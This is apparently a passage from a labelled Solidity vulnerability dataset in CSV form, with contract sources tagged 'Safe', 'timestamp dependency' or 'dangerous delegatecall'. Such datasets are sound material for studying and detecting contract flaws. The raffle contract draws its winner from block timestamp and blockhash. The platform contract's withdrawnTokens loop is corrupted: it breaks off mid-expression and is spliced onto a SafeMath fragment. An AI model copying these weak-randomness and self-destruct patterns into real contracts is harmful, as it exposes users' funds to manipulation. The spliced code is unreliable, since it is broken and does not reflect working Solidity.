------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",Safe,8,8 0x0353eaf3b1ee16e6d4fc8c37a97b28e50aac3f23_ADZbuzzCommunityToken.sol,"pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'ACT105212' token contract // // Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187 // Symbol : ACT105212 // Name : ADZbuzz Infospace.com Community Token // Total supply: 2000000 // Decimals : 8 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function ADZbuzzCommunityToken() public { symbol = ""ACT105212""; name = ""ADZbuzz Infospace.com Community Token""; decimals = 8; _totalSupply = 200000000000000; balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply; emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",Safe,8,8 3100.sol,"pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract AccessAdmin is Ownable { mapping (address => bool) adminContracts; mapping (address => bool) actionContracts; function setAdminContract(address _addr, bool _useful) public onlyOwner { require(_addr != address(0)); adminContracts[_addr] = _useful; } modifier onlyAdmin { require(adminContracts[msg.sender]); _; } function setActionContract(address _actionAddr, bool _useful) public onlyAdmin { actionContracts[_actionAddr] = _useful; } modifier onlyAccess() { require(actionContracts[msg.sender]); _; } } interface CardsInterface { function balanceOf(address player) public constant returns(uint256); function updatePlayersCoinByOut(address player) external; function updatePlayersCoinByPurchase(address player, uint256 purchaseCost) public; function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external; function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) external; } interface RareInterface { function getRareItemsOwner(uint256 rareId) external view returns (address); function getRareItemsPrice(uint256 rareId) external view returns (uint256); function getRareInfo(uint256 _tokenId) external view returns ( uint256 sellingPrice, address owner, uint256 nextPrice, uint256 rareClass, uint256 cardId, uint256 rareValue ); function transferToken(address _from, address _to, uint256 _tokenId) external; function transferTokenByContract(uint256 _tokenId,address _to) external; function setRarePrice(uint256 _rareId, uint256 _price) external; function rareStartPrice() external view returns (uint256); } contract CardsRaffle is AccessAdmin { using SafeMath for SafeMath; function CardsRaffle() public { setAdminContract(msg.sender,true); setActionContract(msg.sender,true); } CardsInterface public cards ; RareInterface public rare; function setCardsAddress(address _address) external onlyOwner { cards = CardsInterface(_address); } function setRareAddress(address _address) external onlyOwner { rare = RareInterface(_address); } function getRareAddress() public view returns (address) { return rare; } event UnitBought(address player, uint256 unitId, uint256 amount); event RaffleSuccessful(address winner); struct TicketPurchases { TicketPurchase[] ticketsBought; uint256 numPurchases; uint256 raffleRareId; } struct TicketPurchase { uint256 startId; uint256 endId; } mapping(address => TicketPurchases) private ticketsBoughtByPlayer; mapping(uint256 => address[]) private rafflePlayers; uint256 private constant RAFFLE_TICKET_BASE_PRICE = 10000; uint256 private raffleEndTime; uint256 private raffleRareId; uint256 private raffleTicketsBought; address private raffleWinner; bool private raffleWinningTicketSelected; uint256 private raffleTicketThatWon; function buyRaffleTicket(uint256 amount) external { require(raffleEndTime >= block.timestamp); require(amount > 0); uint256 ticketsCost = SafeMath.mul(RAFFLE_TICKET_BASE_PRICE, amount); require(cards.balanceOf(msg.sender) >= ticketsCost); cards.updatePlayersCoinByPurchase(msg.sender, ticketsCost); TicketPurchases storage purchases = ticketsBoughtByPlayer[msg.sender]; if (purchases.raffleRareId != raffleRareId) { purchases.numPurchases = 0; purchases.raffleRareId = raffleRareId; rafflePlayers[raffleRareId].push(msg.sender); } if (purchases.numPurchases == purchases.ticketsBought.length) { purchases.ticketsBought.length = SafeMath.add(purchases.ticketsBought.length,1); } purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(raffleTicketsBought, raffleTicketsBought + (amount - 1)); raffleTicketsBought = SafeMath.add(raffleTicketsBought,amount); UnitBought(msg.sender,raffleRareId,amount); } function startRareRaffle(uint256 endTime, uint256 rareId) external onlyAdmin { require(rareId>0); require(rare.getRareItemsOwner(rareId) == getRareAddress()); require(block.timestamp < endTime); if (raffleRareId != 0) { require(raffleWinner != 0); } raffleWinningTicketSelected = false; raffleTicketThatWon = 0; raffleWinner = 0; raffleTicketsBought = 0; raffleEndTime = endTime; raffleRareId = rareId; } function awardRafflePrize(address checkWinner, uint256 checkIndex) external { require(raffleEndTime < block.timestamp); require(raffleWinner == 0); require(rare.getRareItemsOwner(raffleRareId) == getRareAddress()); if (!raffleWinningTicketSelected) { drawRandomWinner(); } if (checkWinner != 0) { TicketPurchases storage tickets = ticketsBoughtByPlayer[checkWinner]; if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleRareId == raffleRareId) { TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex]; if (raffleTicketThatWon >= checkTicket.startId && raffleTicketThatWon <= checkTicket.endId) { assignRafflePrize(checkWinner); return; } } } for (uint256 i = 0; i < rafflePlayers[raffleRareId].length; i++) { address player = rafflePlayers[raffleRareId][i]; TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player]; uint256 endIndex = playersTickets.numPurchases - 1; if (raffleTicketThatWon >= playersTickets.ticketsBought[0].startId && raffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) { for (uint256 j = 0; j < playersTickets.numPurchases; j++) { TicketPurchase storage playerTicket = playersTickets.ticketsBought[j]; if (raffleTicketThatWon >= playerTicket.startId && raffleTicketThatWon <= playerTicket.endId) { assignRafflePrize(player); return; } } } } } function assignRafflePrize(address winner) internal { raffleWinner = winner; uint256 newPrice = (rare.rareStartPrice() * 25) / 20; rare.transferTokenByContract(raffleRareId,winner); rare.setRarePrice(raffleRareId,newPrice); cards.updatePlayersCoinByOut(winner); uint256 upgradeClass; uint256 unitId; uint256 upgradeValue; (,,,,upgradeClass, unitId, upgradeValue) = rare.getRareInfo(raffleRareId); cards.upgradeUnitMultipliers(winner, upgradeClass, unitId, upgradeValue); RaffleSuccessful(winner); } function drawRandomWinner() public onlyAdmin { require(raffleEndTime < block.timestamp); require(!raffleWinningTicketSelected); uint256 seed = SafeMath.add(raffleTicketsBought , block.timestamp); raffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, raffleTicketsBought); raffleWinningTicketSelected = true; } function getRafflePlayers(uint256 raffleId) external constant returns (address[]) { return (rafflePlayers[raffleId]); } function getPlayersTickets(address player) external constant returns (uint256[], uint256[]) { TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player]; if (playersTickets.raffleRareId == raffleRareId) { uint256[] memory startIds = new uint256[](playersTickets.numPurchases); uint256[] memory endIds = new uint256[](playersTickets.numPurchases); for (uint256 i = 0; i < playersTickets.numPurchases; i++) { startIds[i] = playersTickets.ticketsBought[i].startId; endIds[i] = playersTickets.ticketsBought[i].endId; } } return (startIds, endIds); } function getLatestRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) { return (raffleEndTime, raffleRareId, raffleTicketsBought, raffleWinner, raffleTicketThatWon); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }",./Dataset/timestamp dependency (TP)/,6,6 11074.sol,"pragma solidity ^0.4.18; contract MultiEventsHistoryAdapter { function _self() constant internal returns (address) { return msg.sender; } } contract Emitter is MultiEventsHistoryAdapter { event Transfer(address indexed from, address indexed to, bytes32 indexed symbol, uint value, string reference); event Issue(bytes32 indexed symbol, uint value, address indexed by); event Revoke(bytes32 indexed symbol, uint value, address indexed by); event OwnershipChange(address indexed from, address indexed to, bytes32 indexed symbol); event Approve(address indexed from, address indexed spender, bytes32 indexed symbol, uint value); event Recovery(address indexed from, address indexed to, address by); event Error(uint errorCode); function emitTransfer(address _from, address _to, bytes32 _symbol, uint _value, string _reference) public { Transfer(_from, _to, _symbol, _value, _reference); } function emitIssue(bytes32 _symbol, uint _value, address _by) public { Issue(_symbol, _value, _by); } function emitRevoke(bytes32 _symbol, uint _value, address _by) public { Revoke(_symbol, _value, _by); } function emitOwnershipChange(address _from, address _to, bytes32 _symbol) public { OwnershipChange(_from, _to, _symbol); } function emitApprove(address _from, address _spender, bytes32 _symbol, uint _value) public { Approve(_from, _spender, _symbol, _value); } function emitRecovery(address _from, address _to, address _by) public { Recovery(_from, _to, _by); } function emitError(uint _errorCode) public { Error(_errorCode); } } contract Owned { address public contractOwner; address public pendingContractOwner; function Owned() { contractOwner = msg.sender; } modifier onlyContractOwner() { if (contractOwner == msg.sender) { _; } } function destroy() onlyContractOwner { suicide(msg.sender); } function changeContractOwnership(address _to) onlyContractOwner() returns(bool) { if (_to == 0x0) { return false; } pendingContractOwner = _to; return true; } function claimContractOwnership() returns(bool) { if (pendingContractOwner != msg.sender) { return false; } contractOwner = pendingContractOwner; delete pendingContractOwner; return true; } } contract ERC20Interface { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed from, address indexed spender, uint256 value); string public symbol; function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); } contract Object is Owned { uint constant OK = 1; uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8; function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) { for(uint i=0;i= a); return c; } } contract ProxyEventsEmitter { function emitTransfer(address _from, address _to, uint _value) public; function emitApprove(address _from, address _spender, uint _value) public; } contract ATxPlatform is Object, Emitter { uint constant ATX_PLATFORM_SCOPE = 80000; uint constant ATX_PLATFORM_PROXY_ALREADY_EXISTS = ATX_PLATFORM_SCOPE + 1; uint constant ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF = ATX_PLATFORM_SCOPE + 2; uint constant ATX_PLATFORM_INVALID_VALUE = ATX_PLATFORM_SCOPE + 3; uint constant ATX_PLATFORM_INSUFFICIENT_BALANCE = ATX_PLATFORM_SCOPE + 4; uint constant ATX_PLATFORM_NOT_ENOUGH_ALLOWANCE = ATX_PLATFORM_SCOPE + 5; uint constant ATX_PLATFORM_ASSET_ALREADY_ISSUED = ATX_PLATFORM_SCOPE + 6; uint constant ATX_PLATFORM_CANNOT_ISSUE_FIXED_ASSET_WITH_INVALID_VALUE = ATX_PLATFORM_SCOPE + 7; uint constant ATX_PLATFORM_CANNOT_REISSUE_FIXED_ASSET = ATX_PLATFORM_SCOPE + 8; uint constant ATX_PLATFORM_SUPPLY_OVERFLOW = ATX_PLATFORM_SCOPE + 9; uint constant ATX_PLATFORM_NOT_ENOUGH_TOKENS = ATX_PLATFORM_SCOPE + 10; uint constant ATX_PLATFORM_INVALID_NEW_OWNER = ATX_PLATFORM_SCOPE + 11; uint constant ATX_PLATFORM_ALREADY_TRUSTED = ATX_PLATFORM_SCOPE + 12; uint constant ATX_PLATFORM_SHOULD_RECOVER_TO_NEW_ADDRESS = ATX_PLATFORM_SCOPE + 13; uint constant ATX_PLATFORM_ASSET_IS_NOT_ISSUED = ATX_PLATFORM_SCOPE + 14; uint constant ATX_PLATFORM_INVALID_INVOCATION = ATX_PLATFORM_SCOPE + 15; using SafeMath for uint; struct Asset { uint owner; uint totalSupply; string name; string description; bool isReissuable; uint8 baseUnit; mapping(uint => Wallet) wallets; mapping(uint => bool) partowners; } struct Wallet { uint balance; mapping(uint => uint) allowance; } struct Holder { address addr; mapping(address => bool) trust; } uint public holdersCount; mapping(uint => Holder) public holders; mapping(address => uint) holderIndex; bytes32[] public symbols; mapping(bytes32 => Asset) public assets; mapping(bytes32 => address) public proxies; mapping(address => bool) public partowners; address public eventsHistory; modifier onlyOwner(bytes32 _symbol) { if (isOwner(msg.sender, _symbol)) { _; } } modifier onlyOneOfOwners(bytes32 _symbol) { if (hasAssetRights(msg.sender, _symbol)) { _; } } modifier onlyOneOfContractOwners() { if (contractOwner == msg.sender || partowners[msg.sender]) { _; } } modifier onlyProxy(bytes32 _symbol) { if (proxies[_symbol] == msg.sender) { _; } } modifier checkTrust(address _from, address _to) { if (isTrusted(_from, _to)) { _; } } function() payable public { revert(); } function trust() external returns (uint) { uint fromId = _createHolderId(msg.sender); if (msg.sender == contractOwner) { return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF); } if (isTrusted(msg.sender, contractOwner)) { return _error(ATX_PLATFORM_ALREADY_TRUSTED); } holders[fromId].trust[contractOwner] = true; return OK; } function distrust() external checkTrust(msg.sender, contractOwner) returns (uint) { holders[getHolderId(msg.sender)].trust[contractOwner] = false; return OK; } function addPartOwner(address _partowner) external onlyContractOwner returns (uint) { partowners[_partowner] = true; return OK; } function removePartOwner(address _partowner) external onlyContractOwner returns (uint) { delete partowners[_partowner]; return OK; } function setupEventsHistory(address _eventsHistory) external onlyContractOwner returns (uint errorCode) { eventsHistory = _eventsHistory; return OK; } function addAssetPartOwner(bytes32 _symbol, address _partowner) external onlyOneOfOwners(_symbol) returns (uint) { uint holderId = _createHolderId(_partowner); assets[_symbol].partowners[holderId] = true; Emitter(eventsHistory).emitOwnershipChange(0x0, _partowner, _symbol); return OK; } function removeAssetPartOwner(bytes32 _symbol, address _partowner) external onlyOneOfOwners(_symbol) returns (uint) { uint holderId = getHolderId(_partowner); delete assets[_symbol].partowners[holderId]; Emitter(eventsHistory).emitOwnershipChange(_partowner, 0x0, _symbol); return OK; } function massTransfer(address[] addresses, uint[] values, bytes32 _symbol) external onlyOneOfOwners(_symbol) returns (uint errorCode, uint count) { require(addresses.length == values.length); require(_symbol != 0x0); uint senderId = _createHolderId(msg.sender); uint success = 0; for (uint idx = 0; idx < addresses.length && msg.gas > 110000; ++idx) { uint value = values[idx]; if (value == 0) { _error(ATX_PLATFORM_INVALID_VALUE); continue; } if (_balanceOf(senderId, _symbol) < value) { _error(ATX_PLATFORM_INSUFFICIENT_BALANCE); continue; } if (msg.sender == addresses[idx]) { _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF); continue; } uint holderId = _createHolderId(addresses[idx]); _transferDirect(senderId, holderId, value, _symbol); Emitter(eventsHistory).emitTransfer(msg.sender, addresses[idx], _symbol, value, """"); ++success; } return (OK, success); } function symbolsCount() public view returns (uint) { return symbols.length; } function isCreated(bytes32 _symbol) public view returns (bool) { return assets[_symbol].owner != 0; } function baseUnit(bytes32 _symbol) public view returns (uint8) { return assets[_symbol].baseUnit; } function name(bytes32 _symbol) public view returns (string) { return assets[_symbol].name; } function description(bytes32 _symbol) public view returns (string) { return assets[_symbol].description; } function isReissuable(bytes32 _symbol) public view returns (bool) { return assets[_symbol].isReissuable; } function owner(bytes32 _symbol) public view returns (address) { return holders[assets[_symbol].owner].addr; } function isOwner(address _owner, bytes32 _symbol) public view returns (bool) { return isCreated(_symbol) && (assets[_symbol].owner == getHolderId(_owner)); } function hasAssetRights(address _owner, bytes32 _symbol) public view returns (bool) { uint holderId = getHolderId(_owner); return isCreated(_symbol) && (assets[_symbol].owner == holderId || assets[_symbol].partowners[holderId]); } function totalSupply(bytes32 _symbol) public view returns (uint) { return assets[_symbol].totalSupply; } function balanceOf(address _holder, bytes32 _symbol) public view returns (uint) { return _balanceOf(getHolderId(_holder), _symbol); } function _balanceOf(uint _holderId, bytes32 _symbol) public view returns (uint) { return assets[_symbol].wallets[_holderId].balance; } function _address(uint _holderId) public view returns (address) { return holders[_holderId].addr; } function checkIsAssetPartOwner(bytes32 _symbol, address _partowner) public view returns (bool) { require(_partowner != 0x0); uint holderId = getHolderId(_partowner); return assets[_symbol].partowners[holderId]; } function setProxy(address _proxyAddress, bytes32 _symbol) public onlyOneOfContractOwners returns (uint) { if (proxies[_symbol] != 0x0) { return ATX_PLATFORM_PROXY_ALREADY_EXISTS; } proxies[_symbol] = _proxyAddress; return OK; } function getHolderId(address _holder) public view returns (uint) { return holderIndex[_holder]; } function proxyTransferWithReference(address _to, uint _value, bytes32 _symbol, string _reference, address _sender) onlyProxy(_symbol) public returns (uint) { return _transfer(getHolderId(_sender), _createHolderId(_to), _value, _symbol, _reference, getHolderId(_sender)); } function issueAsset(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable) public returns (uint) { return issueAssetToAddress(_symbol, _value, _name, _description, _baseUnit, _isReissuable, msg.sender); } function issueAssetToAddress(bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, address _account) public onlyOneOfContractOwners returns (uint) { if (_value == 0 && !_isReissuable) { return _error(ATX_PLATFORM_CANNOT_ISSUE_FIXED_ASSET_WITH_INVALID_VALUE); } if (isCreated(_symbol)) { return _error(ATX_PLATFORM_ASSET_ALREADY_ISSUED); } uint holderId = _createHolderId(_account); uint creatorId = _account == msg.sender ? holderId : _createHolderId(msg.sender); symbols.push(_symbol); assets[_symbol] = Asset(creatorId, _value, _name, _description, _isReissuable, _baseUnit); assets[_symbol].wallets[holderId].balance = _value; Emitter(eventsHistory).emitIssue(_symbol, _value, _address(holderId)); return OK; } function reissueAsset(bytes32 _symbol, uint _value) public onlyOneOfOwners(_symbol) returns (uint) { if (_value == 0) { return _error(ATX_PLATFORM_INVALID_VALUE); } Asset storage asset = assets[_symbol]; if (!asset.isReissuable) { return _error(ATX_PLATFORM_CANNOT_REISSUE_FIXED_ASSET); } if (asset.totalSupply + _value < asset.totalSupply) { return _error(ATX_PLATFORM_SUPPLY_OVERFLOW); } uint holderId = getHolderId(msg.sender); asset.wallets[holderId].balance = asset.wallets[holderId].balance.add(_value); asset.totalSupply = asset.totalSupply.add(_value); Emitter(eventsHistory).emitIssue(_symbol, _value, _address(holderId)); _proxyTransferEvent(0, holderId, _value, _symbol); return OK; } function revokeAsset(bytes32 _symbol, uint _value) public returns (uint) { if (_value == 0) { return _error(ATX_PLATFORM_INVALID_VALUE); } Asset storage asset = assets[_symbol]; uint holderId = getHolderId(msg.sender); if (asset.wallets[holderId].balance < _value) { return _error(ATX_PLATFORM_NOT_ENOUGH_TOKENS); } asset.wallets[holderId].balance = asset.wallets[holderId].balance.sub(_value); asset.totalSupply = asset.totalSupply.sub(_value); Emitter(eventsHistory).emitRevoke(_symbol, _value, _address(holderId)); _proxyTransferEvent(holderId, 0, _value, _symbol); return OK; } function changeOwnership(bytes32 _symbol, address _newOwner) public onlyOwner(_symbol) returns (uint) { if (_newOwner == 0x0) { return _error(ATX_PLATFORM_INVALID_NEW_OWNER); } Asset storage asset = assets[_symbol]; uint newOwnerId = _createHolderId(_newOwner); if (asset.owner == newOwnerId) { return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF); } address oldOwner = _address(asset.owner); asset.owner = newOwnerId; Emitter(eventsHistory).emitOwnershipChange(oldOwner, _newOwner, _symbol); return OK; } function isTrusted(address _from, address _to) public view returns (bool) { return holders[getHolderId(_from)].trust[_to]; } function recover(address _from, address _to) checkTrust(_from, msg.sender) public onlyContractOwner returns (uint errorCode) { address from = holders[getHolderId(_from)].addr; holders[getHolderId(_from)].addr = _to; holderIndex[_to] = getHolderId(_from); Emitter(eventsHistory).emitRecovery(from, _to, msg.sender); return OK; } function proxyApprove(address _spender, uint _value, bytes32 _symbol, address _sender) public onlyProxy(_symbol) returns (uint) { return _approve(_createHolderId(_spender), _value, _symbol, _createHolderId(_sender)); } function allowance(address _from, address _spender, bytes32 _symbol) public view returns (uint) { return _allowance(getHolderId(_from), getHolderId(_spender), _symbol); } function proxyTransferFromWithReference(address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender) public onlyProxy(_symbol) returns (uint) { return _transfer(getHolderId(_from), _createHolderId(_to), _value, _symbol, _reference, getHolderId(_sender)); } function _transferDirect(uint _fromId, uint _toId, uint _value, bytes32 _symbol) internal { assets[_symbol].wallets[_fromId].balance = assets[_symbol].wallets[_fromId].balance.sub(_value); assets[_symbol].wallets[_toId].balance = assets[_symbol].wallets[_toId].balance.add(_value); } function _transfer(uint _fromId, uint _toId, uint _value, bytes32 _symbol, string _reference, uint _senderId) internal returns (uint) { if (_fromId == _toId) { return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF); } if (_value == 0) { return _error(ATX_PLATFORM_INVALID_VALUE); } if (_balanceOf(_fromId, _symbol) < _value) { return _error(ATX_PLATFORM_INSUFFICIENT_BALANCE); } if (_fromId != _senderId && _allowance(_fromId, _senderId, _symbol) < _value) { return _error(ATX_PLATFORM_NOT_ENOUGH_ALLOWANCE); } _transferDirect(_fromId, _toId, _value, _symbol); if (_fromId != _senderId) { assets[_symbol].wallets[_fromId].allowance[_senderId] = assets[_symbol].wallets[_fromId].allowance[_senderId].sub(_value); } Emitter(eventsHistory).emitTransfer(_address(_fromId), _address(_toId), _symbol, _value, _reference); _proxyTransferEvent(_fromId, _toId, _value, _symbol); return OK; } function _proxyTransferEvent(uint _fromId, uint _toId, uint _value, bytes32 _symbol) internal { if (proxies[_symbol] != 0x0) { ProxyEventsEmitter(proxies[_symbol]).emitTransfer(_address(_fromId), _address(_toId), _value); } } function _createHolderId(address _holder) internal returns (uint) { uint holderId = holderIndex[_holder]; if (holderId == 0) { holderId = ++holdersCount; holders[holderId].addr = _holder; holderIndex[_holder] = holderId; } return holderId; } function _approve(uint _spenderId, uint _value, bytes32 _symbol, uint _senderId) internal returns (uint) { if (!isCreated(_symbol)) { return _error(ATX_PLATFORM_ASSET_IS_NOT_ISSUED); } if (_senderId == _spenderId) { return _error(ATX_PLATFORM_CANNOT_APPLY_TO_ONESELF); } if (assets[_symbol].wallets[_senderId].allowance[_spenderId] != 0 && _value != 0) { return _error(ATX_PLATFORM_INVALID_INVOCATION); } assets[_symbol].wallets[_senderId].allowance[_spenderId] = _value; Emitter(eventsHistory).emitApprove(_address(_senderId), _address(_spenderId), _symbol, _value); if (proxies[_symbol] != 0x0) { ProxyEventsEmitter(proxies[_symbol]).emitApprove(_address(_senderId), _address(_spenderId), _value); } return OK; } function _allowance(uint _fromId, uint _toId, bytes32 _symbol) internal view returns (uint) { return assets[_symbol].wallets[_fromId].allowance[_toId]; } function _error(uint _errorCode) internal returns (uint) { Emitter(eventsHistory).emitError(_errorCode); return _errorCode; } }",./Dataset/dangerous delegatecall (DE)/,1,1 38970.sol,"/** * Originally from https://github.com/ConsenSys/MultiSigWallet */ /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public 